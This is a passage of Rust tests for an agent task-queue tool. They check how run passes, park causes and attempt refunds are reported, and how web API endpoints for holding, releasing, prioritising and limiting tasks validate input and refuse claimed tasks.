13076 assert_eq!(f.edges[0].attempt, AttemptCost::None);
13077 }
13078
13079 #[test]
13082 fn a_parked_non_terminal_run_is_explained_as_parked() {
13083 let mut s = RunState::new(
13084 PathBuf::from("/repo/magi"),
13085 "main".to_owned(),
13086 "0123456789abcdef".to_owned(),
13087 "Do it".to_owned(),
13088 Config::default(),
13089 );
13090 s.status = RunStatus::Implementing;
13091 s.parked = true;
13092 let task = Task::new(
13093 "t".to_owned(),
13094 "Do it".to_owned(),
13095 PathBuf::from("/repo/magi"),
13096 Source::Human,
13097 );
13098 let v = task_run_view(
13099 "20260902-140501-aaaa",
13100 Some(&s),
13101 RunSlot {
13102 n: 1,
13103 resumed: false,
13104 resumed_later: None,
13105 prior: None,
13106 last: true,
13107 ..RunSlot::default()
13108 },
13109 &task,
13110 );
13111 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
13112 }
13113
13114 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
13115 let mut s = flow_run(RunStatus::Implementing, edit);
13116 s.parked = false;
13117 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
13118 task_run_view(
13119 "20260902-140501-aaaa",
13120 Some(&s),
13121 RunSlot {
13122 n: 1,
13123 resumed: false,
13124 resumed_later: Some(2),
13125 prior: None,
13126 last: false,
13127 ..RunSlot::default()
13128 },
13129 &task,
13130 )
13131 }
13132
13133 #[test]
13134 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
13135 let v = earlier_pass_view(|_| {});
13136 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
13137 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
13138 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
13139 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
13140 assert_eq!(v.exit, RunExit::Interrupted);
13141 assert_eq!(v.attempt, AttemptCost::Unknown);
13142 }
13143
13144 #[test]
13145 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
13146 let v = earlier_pass_view(|s| {
13147 s.quota.push(crate::run::QuotaLoss {
13148 seat: "judge-1".to_owned(),
13149 node: "judge".to_owned(),
13150 at: Timestamp::now(),
13151 reset: None,
13152 });
13153 });
13154 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
13155 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
13156 assert_eq!(v.attempt, AttemptCost::Unknown);
13157 }
13158
13159 #[test]
13160 fn the_current_pass_states_its_recorded_cause_and_cost() {
13161 let slot = || RunSlot {
13162 n: 1,
13163 resumed: false,
13164 resumed_later: None,
13165 prior: None,
13166 last: true,
13167 ..RunSlot::default()
13168 };
13169 let task = flow_task(&["20260902-140501-aaaa"]);
13170 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
13171 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
13172 assert_eq!(
13173 (v.exit, v.attempt),
13174 (RunExit::Parked, AttemptCost::Refunded)
13175 );
13176 let spent = flow_run(RunStatus::Blocked, |_| {});
13177 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
13178 assert_eq!(v.attempt, AttemptCost::Spent);
13179 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
13180 }
13181
13182 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
13183 crate::run::RunPass {
13184 index,
13185 started_at: Timestamp::now(),
13186 resumed: index > 0,
13187 ended_at: end.as_ref().map(|_| Timestamp::now()),
13188 end,
13189 task_entry: true,
13190 }
13191 }
13192
13193 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
13194 Some(crate::run::PassEnd::Parked { cause })
13195 }
13196
13197 fn upgrade_cause() -> crate::run::ParkCause {
13198 crate::run::ParkCause::Upgrade {
13199 from: "0.121.0".to_owned(),
13200 to: Some("0.121.1".to_owned()),
13201 }
13202 }
13203
13204 fn settled_pass(
13205 run: &str,
13206 index: usize,
13207 cost: crate::queue::PassCost,
13208 ) -> crate::queue::TaskPass {
13209 crate::queue::TaskPass {
13210 run: run.to_owned(),
13211 pass_index: index,
13212 cost,
13213 attempts_after: 1,
13214 settled_at: Timestamp::now(),
13215 parked: None,
13216 }
13217 }
13218
13219 const RUN_X: &str = "20261011-223708-4334";
13220
13221 #[test]
13222 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
13223 use crate::queue::PassCost;
13224 let run = flow_run(RunStatus::Implementing, |s| {
13225 s.passes = vec![
13226 recorded_pass(0, parked(upgrade_cause())),
13227 recorded_pass(1, None),
13228 ];
13229 });
13230 let mut task = flow_task(&[RUN_X, RUN_X]);
13231 task.attempts = 1;
13232 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
13233 let h = task_history(&task, |_| Some(run.clone()));
13234 assert_eq!(h.len(), 2);
13235 assert_eq!(h[0].kind, "competition");
13236 assert_eq!(h[1].kind, "resume");
13237 assert_eq!(
13238 (h[0].exit, h[0].attempt),
13239 (RunExit::Parked, AttemptCost::Refunded)
13240 );
13241 assert!(
13242 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
13243 "{}",
13244 h[0].outcome
13245 );
13246 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
13247 assert!(
13248 h[0].outcome.contains("pass #2 resumed the same run"),
13249 "{}",
13250 h[0].outcome
13251 );
13252 assert!(
13253 h[0].outcome.contains("pass 1 of 2 over run"),
13254 "{}",
13255 h[0].outcome
13256 );
13257 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
13258 assert_eq!(
13259 h[0].exit_label,
13260 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
13261 );
13262 let f = task_flow(&task, &h, 2, None);
13263 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
13265 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
13266 assert!(
13267 f.edges[1].label.contains("upgrade 0.121.0"),
13268 "{}",
13269 f.edges[1].label
13270 );
13271 assert!(
13272 f.edges[1].label.contains("resume the same run"),
13273 "{}",
13274 f.edges[1].label
13275 );
13276 assert_eq!(f.nodes[1].note, Some("parked"));
13277 }
13278
13279 #[test]
13280 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
13281 let mut a = flow_run(RunStatus::Implementing, |s| {
13282 s.passes = vec![
13283 recorded_pass(0, parked(upgrade_cause())),
13284 recorded_pass(1, None),
13285 ];
13286 });
13287 let mut b = flow_run(RunStatus::Failed, |s| {
13288 s.passes = vec![recorded_pass(0, None)];
13289 });
13290 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
13291 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
13292 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
13293 let mut task = flow_task(&[]);
13294 task.start("a".into());
13295 task.start("b".into());
13296 task.start("a".into());
13297 assert_eq!(task.runs, ["b", "a"]);
13298 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
13299 let h = task_history(&task, |id| {
13300 Some(if id == "a" { a.clone() } else { b.clone() })
13301 });
13302 assert_eq!(
13303 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
13304 ["a", "b", "a"]
13305 );
13306 assert_eq!(h[0].attempt, AttemptCost::Refunded);
13307 assert!(h[0].outcome.contains("upgrade"));
13308 assert_eq!(h[2].kind, "resume");
13309 assert!(h[2].pass.is_some());
13310 task.runs = vec!["a".into(), "b".into(), "a".into()];
13312 let old = task_history(&task, |id| {
13313 Some(if id == "a" { a.clone() } else { b.clone() })
13314 });
13315 assert_eq!(
13316 old.iter()
13317 .map(|v| (&v.id, &v.kind, v.attempt))
13318 .collect::<Vec<_>>(),
13319 h.iter()
13320 .map(|v| (&v.id, &v.kind, v.attempt))
13321 .collect::<Vec<_>>()
13322 );
13323 }
13324
13325 #[test]
13326 fn an_upgrade_whose_target_was_not_known_says_so() {
13327 let run = flow_run(RunStatus::Implementing, |s| {
13328 s.passes = vec![
13329 recorded_pass(
13330 0,
13331 parked(crate::run::ParkCause::Upgrade {
13332 from: "0.121.0".to_owned(),
13333 to: None,
13334 }),
13335 ),
13336 recorded_pass(1, None),
13337 ];
13338 });
13339 let task = flow_task(&[RUN_X, RUN_X]);
13340 let h = task_history(&task, |_| Some(run.clone()));
13341 assert!(
13342 h[0].outcome.contains("upgrade from 0.121.0"),
13343 "{}",
13344 h[0].outcome
13345 );
13346 assert_eq!(h[0].attempt, AttemptCost::Unknown);
13348 }
13349
13350 #[test]
13351 fn each_pass_keeps_its_own_cause_across_several_resumes() {
13352 use crate::queue::PassCost;
13353 use crate::run::ParkCause;
13354 let run = flow_run(RunStatus::Implementing, |s| {
13355 s.passes = vec![
13356 recorded_pass(0, parked(upgrade_cause())),
13357 recorded_pass(
13358 1,
13359 parked(ParkCause::Interrupt {
13360 reason: "task a1b2 asked to run first".to_owned(),
13361 }),
13362 ),
13363 recorded_pass(2, parked(ParkCause::Operator)),
13364 recorded_pass(3, None),
13365 ];
13366 });
13367 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
13368 task.attempts = 1;
13369 task.passes = (0..3)
13370 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
13371 .collect();
13372 let h = task_history(&task, |_| Some(run.clone()));
13373 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
13374 assert!(
13375 h[1].outcome.contains("task a1b2 asked to run first"),
13376 "{}",
13377 h[1].outcome
13378 );
13379 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
13380 assert!(
13381 h[2].outcome.contains("operator asked the loop to park"),
13382 "{}",
13383 h[2].outcome
13384 );
13385 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
13386 let f = task_flow(&task, &h, 2, None);
13387 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
13388 }
13389
13390 #[test]
13391 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
13392 let run = flow_run(RunStatus::Implementing, |s| {
13393 s.passes = vec![
13394 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
13395 recorded_pass(1, None),
13396 ];
13397 });
13398 let task = flow_task(&[RUN_X, RUN_X]);
13399 let h = task_history(&task, |_| Some(run.clone()));
13400 assert_eq!(h[0].exit, RunExit::Interrupted);
13401 assert_eq!(h[0].attempt, AttemptCost::Unknown);
13402 assert!(
13403 h[0].outcome.contains("without recording why"),
13404 "{}",
13405 h[0].outcome
13406 );
13407 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
13408 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
13409 }
13410
13411 #[test]
13412 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
13413 use crate::queue::PassCost;
13414 let run = flow_run(RunStatus::Implementing, |s| {
13417 s.passes = vec![
13418 recorded_pass(0, parked(upgrade_cause())),
13419 recorded_pass(1, None),
13420 ];
13421 });
13422 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
13423 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
13424 let h = task_history(&task, |_| Some(run.clone()));
13425 assert!(h[0].pass.is_none());
13426 assert_eq!(h[0].exit, RunExit::Interrupted);
13427 assert_eq!(h[0].attempt, AttemptCost::Unknown);
13428 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
13429 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
13430 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
13431 let legacy = flow_run(RunStatus::Implementing, |_| {});
13433 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
13434 assert!(h.iter().all(|v| v.pass.is_none()));
13435 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
13436 }
13437
13438 #[test]
13439 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
13440 use crate::queue::PassCost;
13441 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
13444 web.task_entry = false;
13445 let run = flow_run(RunStatus::Implementing, |s| {
13446 s.passes = vec![
13447 recorded_pass(0, parked(upgrade_cause())),
13448 web.clone(),
13449 recorded_pass(2, None),
13450 ];
13451 });
13452 let mut task = flow_task(&[RUN_X, RUN_X]);
13453 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
13454 let h = task_history(&task, |_| Some(run.clone()));
13455 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
13456 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
13457
13458 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
13461 web0.task_entry = false;
13462 let run = flow_run(RunStatus::Implementing, |s| {
13463 s.passes = vec![web0.clone(), recorded_pass(1, None)];
13464 });
13465 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
13466 assert!(h[0].pass.is_none());
13467 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
13468 assert!(h[1].pass.is_some());
13469 }
13470
13471 #[tokio::test]
13472 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
13473 let dir = tempfile::tempdir().unwrap();
13474 let queue = Queue::at(dir.path().join("queue"));
13475 let ui = Arc::new(Ui::new(
13476 queue.clone(),
13477 Questions::at(dir.path().join("questions")),
13478 Talks::at(dir.path().join("talks")),
13479 dir.path().join("runs"),
13480 dir.path().to_path_buf(),
13481 dir.path().to_path_buf(),
13482 ));
13483 let mut t = Task::new(
13484 "recover".into(),
13485 "Inspect".into(),
13486 PathBuf::from("."),
13487 Source::Human,
13488 );
13489 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
13490 t.start("run-A".into());
13491 t.release_operator("choice", Some("resume-question"));
13492 t.resume_override = Some(crate::queue::OperatorResume {
13493 question_id: "resume-question".into(),
13494 at: jiff::Timestamp::now(),
13495 conductor_rehold: None,
13496 forced: true,
13497 pinned_run: Some("run-A".into()),
13498 });
13499 t.hold_machine(Some("inspection pending".into()));
13500 t.edit("recover".into(), "Reuse approved PR head".into())
13501 .unwrap();
13502 queue.put(&mut t).unwrap();
13503 let mut cli = t.clone();
13504 cli.release_operator("cli", None);
13505 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
13506 let reloaded = queue.get(&t.id).unwrap();
13507 assert_eq!(reply.task.status, TaskStatus::Queued);
13508 assert!(reloaded.resume_override.is_none());
13509 assert_eq!(reloaded.answers, t.answers);
13510 let mut web = reloaded.resumption.unwrap();
13511 let cli = cli.resumption.unwrap();
13512 assert_eq!(web.source, "web");
13513 web.source = cli.source.clone();
13514 web.at = cli.at;
13515 assert_eq!(web, cli);
13516 }
13517
13518 #[tokio::test]
13519 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
13520 let f = Fixture::start().await;
13521 let queue = f.queue();
13522 let mut task = Task::new(
13523 "spent".to_owned(),
13524 "Try again".to_owned(),
13525 PathBuf::from("/repo/magi"),
13526 Source::Human,
13527 );
13528 task.start("20260902-140502-bbbb".to_owned());
13529 task.fail("agent gave up", 9);
13530 queue.put(&mut task).expect("file the task");
13531
13532 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
13533 assert_eq!(held.status, 200);
13534 assert_eq!(held.json()["status_str"], "held");
13535
13536 let released = f
13537 .post(&format!("/api/queue/{}/release", task.id), None)
13538 .await;
13539 assert_eq!(released.status, 200);
13540 assert_eq!(released.json()["status_str"], "queued");
13541 assert_eq!(released.json()["resumption"]["source"], "web");
13542 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
13543 let mut cli = task.clone();
13544 cli.release_operator("cli", None);
13545 let web = queue.get(&task.id).unwrap().resumption.unwrap();
13546 let cli = cli.resumption.unwrap();
13547 assert_eq!(web.instruction, cli.instruction);
13548 assert_eq!(web.answers_through, cli.answers_through);
13549 assert_eq!(web.runs_through, cli.runs_through);
13550 assert_eq!(web.cleared_reason, cli.cleared_reason);
13551 assert_eq!(
13552 released.json()["attempts"],
13553 0,
13554 "release is a real second chance, not an instant re-hold"
13555 );
13556 assert_eq!(
13557 queue.get(&task.id).expect("reload").status,
13558 TaskStatus::Queued,
13559 "the change is on disk, not only in the reply"
13560 );
13561 assert!(
13562 !f.home
13563 .path()
13564 .join("queue")
13565 .join(format!("{}.lock", task.id))
13566 .exists(),
13567 "the claim the mutation took is released again"
13568 );
13569 }
13570
13571 #[tokio::test]
13572 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
13573 let f = Fixture::start().await;
13574 let queue = f.queue();
13575 let mut task = Task::new(
13576 "busy".to_owned(),
13577 "Running right now".to_owned(),
13578 PathBuf::from("/repo/magi"),
13579 Source::Human,
13580 );
13581 queue.put(&mut task).expect("file the task");
13582 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
13583
13584 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
13585
13586 assert_eq!(res.status, 409);
13587 assert_eq!(
13588 queue.get(&task.id).expect("reload").status,
13589 TaskStatus::Queued,
13590 "the refused hold changed nothing"
13591 );
13592 }
13593
13594 #[tokio::test]
13595 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
13596 let f = Fixture::start().await;
13597 let queue = f.queue();
13598 let mut task = Task::new(
13599 "waiting on the migration".to_owned(),
13600 "Do the thing".to_owned(),
13601 PathBuf::from("/repo/magi"),
13602 Source::Human,
13603 );
13604 queue.put(&mut task).expect("file the task");
13605
13606 let held = f
13607 .post(
13608 &format!("/api/queue/{}/hold", task.id),
13609 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
13610 )
13611 .await;
13612 assert_eq!(held.status, 200, "{}", held.body);
13613 assert_eq!(held.json()["status_str"], "held");
13614 assert_eq!(
13615 held.json()["hold_reason"],
13616 "waiting for 20260101-000000-aaaa to land"
13617 );
13618
13619 let listed = f.get("/api/queue").await.json();
13620 assert_eq!(
13621 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
13622 "the card reads the reason off the same list route"
13623 );
13624
13625 let mut plain = Task::new(
13628 "no reason given".to_owned(),
13629 "Do another thing".to_owned(),
13630 PathBuf::from("/repo/magi"),
13631 Source::Human,
13632 );
13633 queue.put(&mut plain).expect("file the task");
13634 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
13635 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
13636 assert!(held_plain.json()["hold_reason"].is_null());
13637
13638 let released = f
13639 .post(&format!("/api/queue/{}/release", task.id), None)
13640 .await;
13641 assert_eq!(released.status, 200);
13642 assert!(
13643 released.json()["hold_reason"].is_null(),
13644 "a release must clear the reason so the next hold does not inherit it"
13645 );
13646 }
13647
13648 #[test]
13649 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
13650 for urgent in [true, false] {
13651 let body: UrgentBody =
13652 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
13653 assert_eq!(body.urgent, urgent);
13654 }
13655 for input in [
13656 r#"{}"#,
13657 r#"{"urgent":null}"#,
13658 r#"{"urgent":"true"}"#,
13659 r#"{"urgent":1}"#,
13660 r#"{"urgent":true,"extra":false}"#,
13661 ] {
13662 assert!(
13663 serde_json::from_str::<UrgentBody>(input).is_err(),
13664 "{input}"
13665 );
13666 }
13667 }
13668
13669 #[tokio::test]
13670 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
13671 let home = TempDir::new().unwrap();
13672 let q = Queue::at(home.path().join("queue"));
13673 let ui = Arc::new(Ui::new(
13674 q.clone(),
13675 Questions::at(home.path().join("questions")),
13676 Talks::at(home.path().join("talks")),
13677 home.path().join("runs"),
13678 home.path().into(),
13679 home.path().into(),
13680 ));
13681 let mut task = Task::new(
13682 "urgent handler".into(),
13683 "keep".into(),
13684 home.path().into(),
13685 Source::Human,
13686 );
13687 for status in [TaskStatus::Queued, TaskStatus::Held] {
13688 task.status = status;
13689 q.put(&mut task).unwrap();
13690 for urgent in [true, true, false, false] {
13691 let saved = queue_urgent(
13692 State(Arc::clone(&ui)),
13693 Path(task.short().into()),
13694 Ok(Json(UrgentBody { urgent })),
13695 )
13696 .await
13697 .unwrap();
13698 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
13699 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
13700 }
13701 }
13702 task.status = TaskStatus::Queued;
13703 q.put(&mut task).unwrap();
13704 let claim = q.claim(&task.id).unwrap();
13705 let error = queue_urgent(
13706 State(Arc::clone(&ui)),
13707 Path(task.id.clone()),
13708 Ok(Json(UrgentBody { urgent: true })),
13709 )
13710 .await
13711 .unwrap_err();
13712 assert_eq!(error.status, StatusCode::CONFLICT);
13713 assert!(error.message.contains("released"));
13714 drop(claim);
13715 for status in [
13716 TaskStatus::Running,
13717 TaskStatus::Done,
13718 TaskStatus::Failed,
13719 TaskStatus::Blocked,
13720 TaskStatus::Parked,
13721 ] {
13722 task.status = status;
13723 q.put(&mut task).unwrap();
13724 let error = queue_urgent(
13725 State(Arc::clone(&ui)),
13726 Path(task.id.clone()),
13727 Ok(Json(UrgentBody { urgent: false })),
13728 )
13729 .await
13730 .unwrap_err();
13731 assert_eq!(error.status, StatusCode::BAD_REQUEST);
13732 assert!(error.message.contains(status.as_str()));
13733 }
13734 }
13735
13736 #[tokio::test]
13737 async fn urgent_api_updates_preserves_and_validates_tasks() {
13738 let f = Fixture::start().await;
13739 let q = f.queue();
13740 let mut t = Task::new(
13741 "urgent API".into(),
13742 "unchanged".into(),
13743 PathBuf::from("/repo/magi"),
13744 Source::Human,
13745 );
13746 t.attempts = 2;
13747 t.priority = 9;
13748 t.interrupt = true;
13749 t.hold_reason = Some("waiting for approval".into());
13750 for status in [TaskStatus::Queued, TaskStatus::Held] {
13751 t.status = status;
13752 q.put(&mut t).unwrap();
13753 for urgent in [true, true, false, false] {
13754 let response = f
13755 .post(
13756 &format!("/api/queue/{}/urgent", t.short()),
13757 Some(&format!("{{\"urgent\":{urgent}}}")),
13758 )
13759 .await;
13760 assert_eq!(response.status, 200, "{}", response.body);
13761 assert_eq!(response.json()["urgent"], urgent);
13762 let saved = q.get(&t.id).unwrap();
13763 let mut before = serde_json::to_value(&t).unwrap();
13764 let mut after = serde_json::to_value(saved).unwrap();
13765 before["urgent"] = urgent.into();
13766 before.as_object_mut().unwrap().remove("updated_at");
13767 after.as_object_mut().unwrap().remove("updated_at");
13768 assert_eq!(after, before);
13769 }
13770 }
13771 let route = format!("/api/queue/{}/urgent", t.id);
13772 for body in [
13773 r#"{}"#,
13774 r#"{"urgent":null}"#,
13775 r#"{"urgent":"true"}"#,
13776 r#"{"urgent":1}"#,
13777 r#"{"urgent":true,"extra":false}"#,
13778 "{",
13779 ] {
13780 assert_eq!(f.post(&route, Some(body)).await.status, 400);
13781 }
13782 t.status = TaskStatus::Queued;
13783 q.put(&mut t).unwrap();
13784 let claim = q.claim(&t.id).unwrap();
13785 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
13786 assert_eq!(response.status, 409, "{}", response.body);
13787 assert!(!q.get(&t.id).unwrap().urgent);
13788 drop(claim);
13789 for status in [
13790 TaskStatus::Running,
13791 TaskStatus::Done,
13792 TaskStatus::Failed,
13793 TaskStatus::Blocked,
13794 TaskStatus::Parked,
13795 ] {
13796 t.status = status;
13797 q.put(&mut t).unwrap();
13798 for urgent in [true, false] {
13799 let response = f
13800 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
13801 .await;
13802 assert_eq!(response.status, 400, "{}", response.body);
13803 assert!(response.body.contains(status.as_str()));
13804 assert!(response.body.contains("queued or held"));
13805 assert!(!q.get(&t.id).unwrap().urgent);
13806 }
13807 }
13808 assert_eq!(
13809 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
13810 .await
13811 .status,
13812 404
13813 );
13814 }
13815
13816 #[tokio::test]
13817 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
13818 let f = Fixture::start().await;
13819 let queue = f.queue();
13820 let mut older = Task::new(
13821 "filed first".to_owned(),
13822 "x".to_owned(),
13823 PathBuf::from("/repo/magi"),
13824 Source::Human,
13825 );
13826 older.id = "20260101-000001-aaaa".to_owned();
13827 let mut newer = Task::new(
13828 "filed second".to_owned(),
13829 "x".to_owned(),
13830 PathBuf::from("/repo/magi"),
13831 Source::Human,
13832 );
13833 newer.id = "20260101-000002-bbbb".to_owned();
13834 queue.put(&mut older).expect("file older");
13835 queue.put(&mut newer).expect("file newer");
13836
13837 let before = f.get("/api/queue").await.json();
13840 assert_eq!(before[0]["id"], newer.id);
13841 assert_eq!(before[1]["id"], older.id);
13842
13843 let raised = f
13847 .post(
13848 &format!("/api/queue/{}/priority", older.id),
13849 Some(r#"{"priority":10}"#),
13850 )
13851 .await;
13852 assert_eq!(raised.status, 200, "{}", raised.body);
13853 assert_eq!(raised.json()["priority"], 10);
13854
13855 let after = f.get("/api/queue").await.json();
13856 let names: Vec<&str> = after
13857 .as_array()
13858 .unwrap()
13859 .iter()
13860 .map(|t| t["id"].as_str().unwrap())
13861 .collect();
13862 assert_eq!(names[0], older.id, "the raised task now sorts first");
13866 }
13867
13868 #[tokio::test]
13869 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
13870 let dir = TempDir::new().unwrap();
13871 let q = Queue::at(dir.path().join("queue"));
13872 let ui = Arc::new(Ui::new(
13873 q.clone(),
13874 Questions::at(dir.path().join("questions")),
13875 Talks::at(dir.path().join("talks")),
13876 dir.path().join("runs"),
13877 dir.path().to_path_buf(),
13878 dir.path().to_path_buf(),
13879 ));
13880 let mut t = Task::new(
13881 "budget".into(),
13882 "keep".into(),
13883 dir.path().into(),
13884 Source::Human,
13885 );
13886 t.attempts = 2;
13887 t.runs.push("prior-run".into());
13888 t.hold_manual(Some("waiting".into()));
13889 q.put(&mut t).unwrap();
13890 let change = |value| {
13891 queue_attempt_limit(
13892 State(ui.clone()),
13893 Path(t.id.clone()),
13894 Ok(Json(AttemptLimitBody {
13895 attempt_limit: value,
13896 })),
13897 )
13898 };
13899 for value in [
13900 serde_json::json!(3),
13901 serde_json::Value::Null,
13902 serde_json::json!(1),
13903 ] {
13904 let response = change(value.clone()).await.unwrap();
13905 assert_eq!(
13906 serde_json::to_value(response.0).unwrap()["attempt_limit"],
13907 value
13908 );
13909 let saved = q.get(&t.id).unwrap();
13910 assert_eq!(
13911 serde_json::to_value(&saved).unwrap()["attempt_limit"],
13912 value
13913 );
13914 assert_eq!(saved.status, TaskStatus::Held);
13915 assert_eq!(saved.attempts, t.attempts);
13916 assert_eq!(saved.runs, t.runs);
13917 assert_eq!(saved.hold_reason, t.hold_reason);
13918 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
13919 .await
13920 .unwrap()
13921 .0;
13922 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
13923 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
13924 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
13925 assert_eq!(outcome.max_attempts, detail.max_attempts);
13926 }
13927 for value in [
13928 serde_json::json!(0),
13929 serde_json::json!(-1),
13930 serde_json::json!(1.5),
13931 serde_json::json!("3"),
13932 serde_json::json!(true),
13933 ] {
13934 assert_eq!(
13935 change(value).await.err().unwrap().status,
13936 StatusCode::BAD_REQUEST
13937 );
13938 }
13939 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
13940 let claim = q.claim(&t.id).unwrap();
13941 assert_eq!(
13942 change(serde_json::json!(4)).await.err().unwrap().status,
13943 StatusCode::CONFLICT
13944 );
13945 drop(claim);
13946 for status in [
13947 TaskStatus::Running,
13948 TaskStatus::Done,
13949 TaskStatus::Failed,
13950 TaskStatus::Blocked,
13951 TaskStatus::Parked,
13952 ] {
13953 let mut stored = q.get(&t.id).unwrap();
13954 stored.status = status;
13955 q.put(&mut stored).unwrap();
13956 assert_eq!(
13957 change(serde_json::json!(4)).await.err().unwrap().status,
13958 StatusCode::BAD_REQUEST
13959 );
13960 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
13961 }
13962 let mut stored = q.get(&t.id).unwrap();
13963 stored.status = TaskStatus::Queued;
13964 q.put(&mut stored).unwrap();
13965 let _ = change(serde_json::Value::Null).await.unwrap();
13966 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
13967 }
13968
13969 #[tokio::test]
13970 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
13971 let dir = TempDir::new().unwrap();
13972 let repo = dir.path().join("repo");
13973 std::fs::create_dir(&repo).unwrap();
13974 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
13975 let q = Queue::at(dir.path().join("queue"));
13976 let ui = Arc::new(Ui::new(
13977 q.clone(),
13978 Questions::at(dir.path().join("questions")),
13979 Talks::at(dir.path().join("talks")),
13980 dir.path().join("runs"),
13981 dir.path().to_path_buf(),
13982 repo.clone(),
13983 ));
13984 let mut t = Task::new(
13985 "seats".into(),
13986 "keep instruction".into(),
13987 repo,
13988 Source::Human,
13989 );
13990 t.runs.push("prior-run".into());
13991 t.hold_manual(Some("waiting".into()));
13992 q.put(&mut t).unwrap();
13993 let change = |count| {
13994 queue_implementers(
13995 State(ui.clone()),
13996 Path(t.id.clone()),
13997 Ok(Json(ImplementersBody {
13998 implementers: count,
13999 })),
14000 )
14001 };
14002 for count in [2, 1, 2] {
14003 let response = change(count).await.unwrap();
